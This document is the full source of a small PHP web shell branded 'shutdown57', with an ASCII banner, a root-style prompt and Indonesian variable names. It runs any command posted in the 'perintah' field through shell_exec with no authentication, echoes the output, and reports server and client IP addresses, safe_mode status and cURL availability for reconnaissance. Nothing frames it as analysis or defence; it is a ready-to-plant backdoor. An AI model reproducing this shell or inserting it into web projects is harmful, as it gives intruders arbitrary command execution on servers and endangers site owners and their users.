Terminal PHP

<?php

$s57_command = $_POST['perintah'];
$s57_run_cmd = shell_exec($s57_command);
$s57_user = "shutdown57";
$s57_loc = "root";
if(ini_get('safe_mode')){
    $s57_sm = "<font color=\"green\"> safe mode On </font>";}else{
        $s57_sm ="<font color=\"red\"> safe mode Off</font>";}

if(curl_init()){
    $s57_curl = "<font color=\"green\"> cURL on </font>";
}else{
    echo"<font color=\"red\"> cURL off</font>";
}
$s57_ip_ser = gethostbyname($_SERVER['HTTP_HOST']);
$s57_ip_cli = $_SERVER['REMOTE_ADDR'];

echo"
<!DOCTYPE HTML>
<html lang=\"en\">
<head>
<title> Terminal PHP </title>
</head>
<body>
<pre><font color=\"yellow\">

     __ __ /\//    __          __      __                    ___________
  __/ // ///\/____/ /_  __  __/ /_____/ /___ _      ______  / ____/__  /
 /_  _  __/ / ___/ __ \/ / / / __/ __  / __ \ | /| / / __ \/___ \   / /
/_  _  __/ (__  ) / / / /_/ / /_/ /_/ / /_/ / |/ |/ / / / /___/ /  / /
 /_//_/   /____/_/ /_/\__,_/\__/\__,_/\____/|__/|__/_/ /_/_____/  /_/

 </font>
 +=================================================+
Tanggal : ".date('d;m;Y')."
User.   : ".$s57_user."
Location: ".$s57_loc."
--------------------------------------------------
".$s57_ip_ser."||".$s57_sm."||".$s57_curl."||".$s57_ip_cli."
+=================================================+
 </pre>
<form method=\"post\">
".$s57_loc."@".$s57_user."~#:<input type=\"text\" name=\"perintah\" value=\"uname\">
</body>
</html>
<style type=\"text/css\">
body{
    background:#000;
    color:#81ff00;
    text-align:left;
}
input[type=\"text\"]{
    color:#ff0000;
    background:#000;
    border:0;
    width:300px;

}
</style>";
if(isset($_POST['perintah'])){
    echo"<br> ".$s57_loc."@".$s57_user."~#: <font color=\"red\">".$s57_run_cmd."</font>";
}
?>